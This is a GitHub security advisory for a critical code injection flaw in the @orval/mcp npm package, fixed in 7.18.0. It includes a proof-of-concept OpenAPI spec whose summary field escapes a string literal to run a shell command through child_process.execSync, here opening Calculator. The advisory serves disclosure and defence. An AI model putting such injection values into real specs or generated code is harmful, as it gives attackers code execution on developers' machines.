GitHub Advisoryadvisory · npm

GHSA-mwr6-3gp8-9jmj orval MCP client is vulnerable to a code injection attack.

CRITICAL Published 2026-01-13 Modified 2026-01-13 Official page ↗
Aliases
CVE-2026-22785
Ecosystem
npm
Packages
@orval/mcp
Severity
Critical
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-77
Reviewed
2026-01-13

Affected packages

• npm @orval/mcp: < 7.18.0 → fixed in 7.18.0

Description

Impact The MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to "break out" of the string literal and inject arbitrary code. Here is an example OpenAPI with the exploit ```yaml openapi: 3.0.4 info: title: Swagger Petstore - OpenAPI 3.0 description: |- This is a sample Pet Store Server based on the OpenAPI 3.0 specification. You can find out more about Swagger at https://swagger.io. In the third iteration of the pet store, we've switched to the design first approach! You can now help us improve the API whether it's by making changes to the definition itself or to the code. That way, with time, we can improve the API in general, and expose some of the new features in OAS3. Some useful links: • The Pet Store repository • The source API definition for the Pet Store termsOfService: https://swagger.io/terms/ contact: email: [email protected] license: name: Apache 2.0 url: https://www.apache.org/licenses/LICENSE-2.0.html version: 1.0.27-SNAPSHOT externalDocs: description: Find out more about Swagger url: https://swagger.io servers: • url: https://petstore3.swagger.io/api/v3 tags: • name: pet description: Everything about your Pets externalDocs: description: Find out more url: https://swagger.io • name: store description: Access to Petstore orders externalDocs: description: Find out more about our store url: https://swagger.io • name: user description: Operations about user paths: /pet/findByStatus: get: tags: • pet summary: Finds Pets by status.' + require('child_process').execSync("open -a Calculator").toString(),// description: Multiple status values can be provided with comma separated strings. operationId: findPetsByStatus parameters: • name: status in: query description: Status values that need to be considered for filter schema: type: string responses: '200': description: successful operation content: application/json: schema: type: string '400': description: Invalid status value default: description: Unexpected error security: • petstore_auth: • write:pets • read:pets ``` Patches This is fixed in version 7.18.0 or higher Workarounds Do check your generated OpenAPI yaml/json before running through Orval CLI and correct it if it has injection.

Related

Alias · CVE (1)

  • CVE-2026-22785 orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. vulnerability

Weakness · CWE (1)

  • CWE-77 Improper Neutralization of Special Elements used in a Command weakness

References